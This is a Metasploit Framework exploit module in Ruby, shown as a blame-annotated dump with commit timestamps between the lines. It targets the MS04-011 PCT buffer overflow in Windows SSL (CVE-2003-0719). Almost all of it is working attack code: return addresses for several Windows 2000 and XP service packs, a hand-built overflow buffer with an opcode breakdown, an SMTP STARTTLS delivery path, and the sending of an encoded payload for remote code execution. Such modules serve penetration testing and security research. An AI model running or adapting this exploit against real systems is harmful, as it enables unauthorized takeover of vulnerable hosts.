2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-11-26 16:42:22 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2005-11-26 16:42:22 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2005-11-26 16:42:22 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-09-13 06:49:39 +00:00
|
|
|
'Name' => 'Microsoft Private Communications Transport Overflow',
|
2005-11-26 16:42:22 +00:00
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a buffer overflow in the Microsoft
|
2005-11-26 16:42:22 +00:00
|
|
|
Windows SSL PCT protocol stack. This code is based on Johnny
|
|
|
|
Cyberpunk's THC release and has been tested against Windows
|
|
|
|
2000 and Windows XP. To use this module, specify the remote
|
|
|
|
port of any SSL service, or the port and protocol of an
|
|
|
|
application that uses SSL. The only application protocol
|
|
|
|
supported at this time is SMTP. You only have one chance to
|
|
|
|
select the correct target, if you are attacking IIS, you may
|
|
|
|
want to try one of the other exploits first (WebDAV). If
|
|
|
|
WebDAV does not work, this more than likely means that this
|
|
|
|
is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS
|
|
|
|
5.1). Using the wrong target may not result in an immediate
|
|
|
|
crash of the remote system.
|
|
|
|
},
|
2006-09-13 06:49:39 +00:00
|
|
|
'Author' => [ 'hdm' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-11-26 16:42:22 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2006-09-13 06:49:39 +00:00
|
|
|
[ 'CVE', '2003-0719'],
|
2005-11-26 16:42:22 +00:00
|
|
|
[ 'OSVDB', '5250'],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'BID', '10116'],
|
2005-11-26 16:42:22 +00:00
|
|
|
[ 'MSB', 'MS04-011'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1800,
|
|
|
|
'BadChars' => "",
|
2006-07-31 02:01:14 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2005-11-26 16:42:22 +00:00
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2005-11-26 16:42:22 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2005-11-26 16:42:22 +00:00
|
|
|
'Windows 2000 SP4',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
2005-11-26 16:46:49 +00:00
|
|
|
'Ret' => 0x67419ce8, # jmp [esp + 0x6c]
|
2005-11-26 16:42:22 +00:00
|
|
|
},
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2005-11-26 16:42:22 +00:00
|
|
|
'Windows 2000 SP3',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
2005-11-26 16:46:49 +00:00
|
|
|
'Ret' => 0x67419e1d, # jmp [esp + 0x6c]
|
2005-11-26 16:42:22 +00:00
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
],
|
|
|
|
[
|
2005-11-26 16:42:22 +00:00
|
|
|
'Windows 2000 SP2',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
2005-11-26 16:46:49 +00:00
|
|
|
'Ret' => 0x6741a426, # jmp [esp + 0x6c]
|
2005-11-26 16:42:22 +00:00
|
|
|
},
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2005-11-26 16:42:22 +00:00
|
|
|
'Windows 2000 SP1',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
2005-11-26 16:46:49 +00:00
|
|
|
'Ret' => 0x77e4f44d, # jmp [ebx + 0x14]
|
2005-11-26 16:42:22 +00:00
|
|
|
},
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2005-11-26 16:42:22 +00:00
|
|
|
'Windows 2000 SP0',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
2005-11-26 16:46:49 +00:00
|
|
|
'Ret' => 0x7658a6cb, # jmp [ebx + 0x0e]
|
2005-11-26 16:42:22 +00:00
|
|
|
},
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2005-11-26 16:42:22 +00:00
|
|
|
'Windows XP SP0',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
2005-11-26 16:46:49 +00:00
|
|
|
'Ret' => 0x0ffb7de9, # jmp [esp + 0x6c]
|
2005-11-26 16:42:22 +00:00
|
|
|
},
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2005-11-26 16:42:22 +00:00
|
|
|
'Windows XP SP1',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
2005-11-26 16:46:49 +00:00
|
|
|
'Ret' => 0x0ffb832f, # jmp [esp + 0x6c]
|
2005-11-26 16:42:22 +00:00
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
],
|
2005-11-26 16:42:22 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Apr 13 2004',
|
|
|
|
'DefaultTarget' => 0))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('PROTO', [true, "The application protocol: raw or smtp", "raw"])
|
|
|
|
], self.class)
|
2005-11-26 16:42:22 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 16:42:22 +00:00
|
|
|
print_status("Trying target #{target.name} with proto #{datastore['PROTO']}...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 16:42:22 +00:00
|
|
|
# This is a heap ptr to the ssl request
|
|
|
|
# ... and just happens to not die ...
|
2006-09-13 06:49:39 +00:00
|
|
|
# Thanks to CORE and Halvar
|
2005-11-26 16:42:22 +00:00
|
|
|
#
|
|
|
|
# 80620101 => and byte ptr [esi+1], 0x2
|
|
|
|
# bd00010001 => mov ebp, 0x1000100
|
|
|
|
# 0016 => add [esi], dl
|
|
|
|
# 8f8201000000 => pop [esi+1]
|
|
|
|
# eb0f => jmp short 11 to shellcode
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
buf = "\x80\x66\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x86\x01\x00\x00\x00"+
|
2010-09-20 08:06:27 +00:00
|
|
|
"\xeb\x0f" + 'XXXXXXXXXXX' +
|
|
|
|
[target.ret ^ 0xffffffff].pack('V')+
|
|
|
|
payload.encoded
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 16:42:22 +00:00
|
|
|
# Connect to a SMTP service, call STARTTLS
|
|
|
|
if (datastore['PROTO'] == 'smtp')
|
|
|
|
greeting = sock.get_once
|
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n")
|
2005-11-26 16:42:22 +00:00
|
|
|
resp = sock.get_once
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 16:42:22 +00:00
|
|
|
sock.put("STARTTLS\r\n")
|
|
|
|
resp = sock.get_once
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 16:46:49 +00:00
|
|
|
if (resp and resp !~ /^220/)
|
2012-10-24 05:44:53 +00:00
|
|
|
print_warning("Warning: this server may not support STARTTLS")
|
2005-11-26 16:42:22 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 16:42:22 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 16:42:22 +00:00
|
|
|
sock.put(buf)
|
|
|
|
resp = sock.get_once
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 16:42:22 +00:00
|
|
|
if (resp == "\x00\x00\x01")
|
|
|
|
print_status("The response indicates that the PCT protocol is disabled")
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 16:42:22 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|